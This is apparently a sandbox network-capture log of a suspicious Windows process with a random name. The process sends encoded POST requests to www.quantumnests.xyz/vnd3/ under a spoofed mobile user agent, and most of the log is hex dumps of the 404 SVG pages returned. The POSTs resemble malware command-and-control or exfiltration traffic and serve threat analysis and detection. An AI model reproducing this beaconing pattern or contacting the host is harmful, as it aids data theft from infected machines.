Sep 14, 2024 11:12:45.819909096 CEST	448	IN	Data Raw: 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 32 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 Data Ascii: h3z"/> <path class="st2" d="M-220.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-210.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-200.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-190.2 282.4h-3l-6.8 25.2h3z
Sep 14, 2024 11:12:45.819920063 CEST	1236	IN	Data Raw: 32 22 20 64 3d 22 4d 2d 31 35 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 34 30 2e 32 20 32 38 32 2e 34 68 2d 33 Data Ascii: 2" d="M-150.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-140.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-130.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-120.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 14, 2024 11:12:45.819931030 CEST	1236	IN	Data Raw: 64 3d 22 4d 34 35 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 34 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: d="M450 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M440 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M430 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M420 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M410 282.4h-
Sep 14, 2024 11:12:45.824719906 CEST	1236	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 32 30 Data Ascii: <path class="st2" d="M230 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M220 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M210 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M200 282.4h-3l-6.8 25.2h3z"/> <path class="st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	162.0.239.141	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:47.771934032 CEST	804	OUT	POST /vnd3/ HTTP/1.1 Host: www.quantumnests.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.quantumnests.xyz Referer: http://www.quantumnests.xyz/vnd3/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 38 61 70 48 36 47 76 48 6c 49 67 68 39 43 77 55 41 53 79 7a 69 73 39 67 6d 35 6c 6c 68 50 6e 49 79 48 50 4e 71 34 6a 71 69 7a 74 43 55 69 57 67 31 75 63 78 47 78 43 7a 38 6e 32 63 6d 6d 79 42 45 51 35 74 39 65 76 6b 35 30 43 69 2f 79 5a 43 55 5a 64 65 51 6c 68 56 68 59 52 31 66 45 70 58 44 74 66 64 64 6c 70 75 4f 50 55 42 69 62 4a 52 6e 77 47 31 4f 2b 64 7a 2f 38 6d 37 59 57 73 46 31 47 79 2f 59 31 39 58 59 6d 63 44 4e 64 62 41 77 34 2f 45 6f 6b 6d 49 63 79 76 43 66 47 39 7a 59 2f 33 30 30 45 74 4a 66 4b 64 48 7a 63 33 71 78 36 35 71 66 70 53 6c 6f 51 4a 58 7a 38 5a 76 6e 31 58 44 67 67 44 4b 79 55 54 4b 65 34 44 78 41 71 31 42 73 4b 4d 3d Data Ascii: gd=8apH6GvHlIgh9CwUASyzis9gm5llhPnIyHPNq4jqiztCUiWg1ucxGxCz8n2cmmyBEQ5t9evk50Ci/yZCUZdeQlhVhYR1fEpXDtfddlpuOPUBibJRnwG1O+dz/8m7YWsF1Gy/Y19XYmcDNdbAw4/EokmIcyvCfG9zY/300EtJfKdHzc3qx65qfpSloQJXz8Zvn1XDggDKyUTKe4DxAq1BsKM=
Sep 14, 2024 11:12:48.348790884 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 14 Sep 2024 09:12:48 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 14, 2024 11:12:48.348839998 CEST	1236	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d="M19.8 282.4h-3
Sep 14, 2024 11:12:48.348855019 CEST	1236	IN	Data Raw: 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: "M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M239.8 282.4h-
Sep 14, 2024 11:12:48.348875999 CEST	1236	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 32 39 2e 38 Data Ascii: ath class="st2" d="M419.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M429.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M439.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M449.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 14, 2024 11:12:48.348891020 CEST	1236	IN	Data Raw: 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 37 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 36 30 20 32 38 32 2e 34 68 2d 33 6c 2d Data Ascii: ss="st2" d="M870 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M860 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M850 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M840 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M830 282.4h
Sep 14, 2024 11:12:48.348903894 CEST	1236	IN	Data Raw: 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 36 34 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 Data Ascii: -6.8 25.2h3z"/> <path class="st2" d="M640 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M630 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M620 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M610 282.4h-3l-6.8 25.2h3z"/> <pa
Sep 14, 2024 11:12:48.348917961 CEST	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 33 37 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: /> <path class="st2" d="M-370.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-360.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-350.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-340.2 282.4h-3l-6.8 25.2h3z"/>
Sep 14, 2024 11:12:48.348932028 CEST	1000	IN	Data Raw: 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 36 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 Data Ascii: 2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-160.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-150.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-140.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-130.2 2
Sep 14, 2024 11:12:48.348948002 CEST	1236	IN	Data Raw: 22 20 64 3d 22 4d 2d 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 35 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 Data Ascii: " d="M-.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M500 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M490 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M480 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M470 282.4
Sep 14, 2024 11:12:48.348963022 CEST	792	IN	Data Raw: 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 39 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 Data Ascii: <path class="st2" d="M290 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M280 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M270 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M260 282.4h-3l-6.8 25.2h3z"/> <path class="
Sep 14, 2024 11:12:48.353954077 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 31 35 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 Data Ascii: > <path class="st2" d="M150 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M140 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M130 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M120 282.4h-3l-6.8 25.2h3z"/> <path c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	162.0.239.141	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:50.321208954 CEST	10886	OUT	POST /vnd3/ HTTP/1.1 Host: www.quantumnests.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.quantumnests.xyz Referer: http://www.quantumnests.xyz/vnd3/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 38 61 70 48 36 47 76 48 6c 49 67 68 39 43 77 55 41 53 79 7a 69 73 39 67 6d 35 6c 6c 68 50 6e 49 79 48 50 4e 71 34 6a 71 69 7a 31 43 56 51 65 67 6e 39 45 78 48 78 43 7a 2f 6e 32 66 6d 6d 79 51 45 51 68 70 39 66 54 53 35 78 47 69 2b 55 56 43 42 59 64 65 61 6c 68 56 73 34 52 6f 43 30 70 34 44 73 7a 5a 64 68 4e 75 4f 50 55 42 69 64 74 52 67 69 2b 31 4d 2b 64 38 2b 38 6d 6e 53 32 73 68 31 47 62 43 59 31 35 59 59 58 38 44 4e 39 72 41 78 4f 44 45 71 45 6d 4b 66 79 76 4b 66 47 68 73 59 2f 36 4e 30 46 5a 77 66 4e 74 48 79 35 79 44 6c 62 45 79 64 5a 4b 30 32 51 52 50 38 65 38 6a 6b 6e 54 4a 76 78 66 46 67 56 66 6f 59 71 7a 30 59 72 63 46 77 64 45 61 59 30 74 54 6d 43 70 74 48 43 56 6e 4a 65 67 33 67 7a 54 31 2f 30 30 71 66 49 61 42 2b 6e 36 61 44 39 70 33 53 73 4a 44 45 78 74 4c 6a 63 79 4d 38 39 4c 4c 45 48 59 68 56 6c 72 4c 75 59 69 6e 49 43 71 70 2f 34 6e 55 57 52 41 51 4d 39 6b 6e 67 78 70 66 34 6d 67 61 6a 4c 47 6c 46 72 36 50 7a 59 6e 75 53 6a 62 64 74 66 78 56 54 71 48 54 71 67 34 33 53 55 2f [TRUNCATED] Data Ascii: gd=8apH6GvHlIgh9CwUASyzis9gm5llhPnIyHPNq4jqiz1CVQegn9ExHxCz/n2fmmyQEQhp9fTS5xGi+UVCBYdealhVs4RoC0p4DszZdhNuOPUBidtRgi+1M+d8+8mnS2sh1GbCY15YYX8DN9rAxODEqEmKfyvKfGhsY/6N0FZwfNtHy5yDlbEydZK02QRP8e8jknTJvxfFgVfoYqz0YrcFwdEaY0tTmCptHCVnJeg3gzT1/00qfIaB+n6aD9p3SsJDExtLjcyM89LLEHYhVlrLuYinICqp/4nUWRAQM9kngxpf4mgajLGlFr6PzYnuSjbdtfxVTqHTqg43SU/9ndN5jKd1UcNGiChLTxgsS9YM4DV1q9XurgrobanSxWGrlJNTSIS5EOwoBsjtaRJmNr8pnFPf/EAyZbIyhVE4YkP8+XNpc44o9v+Rp6qLz9pnKjTYCxwoTp/DEQLqN71028JH4Gd1hzs5cARj3LeD5rjN2eqccJN5SrOYAx/b/KFH+VspJSyvKjnLVK9PdoiEwLTX7dLtXKDIEvNxLeZ3bZ4yHnSTftbMlT/GDrE93lOyAS/znUsflbV3mb54ZH7Uo6RNZ2bcadjscXmtrPkEbLNQUvEsbbRadh+0beDdqJwZkf9LWJzELiLoo3ThGP0NcL9O4BcfNyAPsd1ncAElc+sGGuAc/qD1RF02Opr02z2aP+ryzgjckOulRrHQAW/+PPFmo4uCCfNrbbP2JvJhdDM+1ENz2Wts15sTbGdrtokPhn/uqepAM8pxWbK3e9ncyqIHUcwCeP9YE02KjVNQ00SexDOiG5FOSlMac+QhWWZgCFwJ0oOKXPRSYM2vc6W1dogdHaXsRyHc14W4JuKt0JTw4r+mpz0xPklPrg1k8Iho3CL5rkLteFAglm0S7rHCVEiQm7U5kTZz/pp9NnmHymzUwrtxAa445BNk6C8Wl4yPP2b1l++hpAL5TvpF18hTV9HzlwU5scuJorhVmmgtpTShwYgmaC0q5 [TRUNCATED]
Sep 14, 2024 11:12:50.939414978 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 14 Sep 2024 09:12:50 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 14, 2024 11:12:50.939429998 CEST	1236	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d="M19.8 282.4h-3
Sep 14, 2024 11:12:50.939439058 CEST	448	IN	Data Raw: 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: "M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M239.8 282.4h-
Sep 14, 2024 11:12:50.939448118 CEST	1236	IN	Data Raw: 22 73 74 32 22 20 64 3d 22 4d 32 37 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 38 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c Data Ascii: "st2" d="M279.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M289.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M299.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M309.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M319.8
Sep 14, 2024 11:12:50.939457893 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 Data Ascii: > <path class="st2" d="M499.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M1000 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M990 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M980 282.4h-3l-6.8 25.2h3z"/> <path class="s
Sep 14, 2024 11:12:50.939469099 CEST	1236	IN	Data Raw: 20 64 3d 22 4d 37 39 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 38 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 Data Ascii: d="M790 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M780 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M770 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M760 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M750 282.4h-3l-6.8
Sep 14, 2024 11:12:50.939479113 CEST	1236	IN	Data Raw: 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 35 36 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 Data Ascii: 2h3z"/> <path class="st2" d="M560 282.4h-3l-6.8 25.2h3z"/> <g> <path class="st2" d="M-490.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-480.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-470.2 282.4h-3l-6.8 25.
Sep 14, 2024 11:12:50.939496040 CEST	328	IN	Data Raw: 3d 22 4d 2d 33 30 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 39 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e Data Ascii: ="M-300.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-290.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-280.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-270.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M
Sep 14, 2024 11:12:50.939506054 CEST	1236	IN	Data Raw: 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 34 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 Data Ascii: h3z"/> <path class="st2" d="M-240.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-230.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-220.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-210.2 282.4h-3l-6.8 25.2h3z
Sep 14, 2024 11:12:50.939589977 CEST	1236	IN	Data Raw: 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f Data Ascii: 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-30.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-20.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-10.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-.2 282.4h-3l
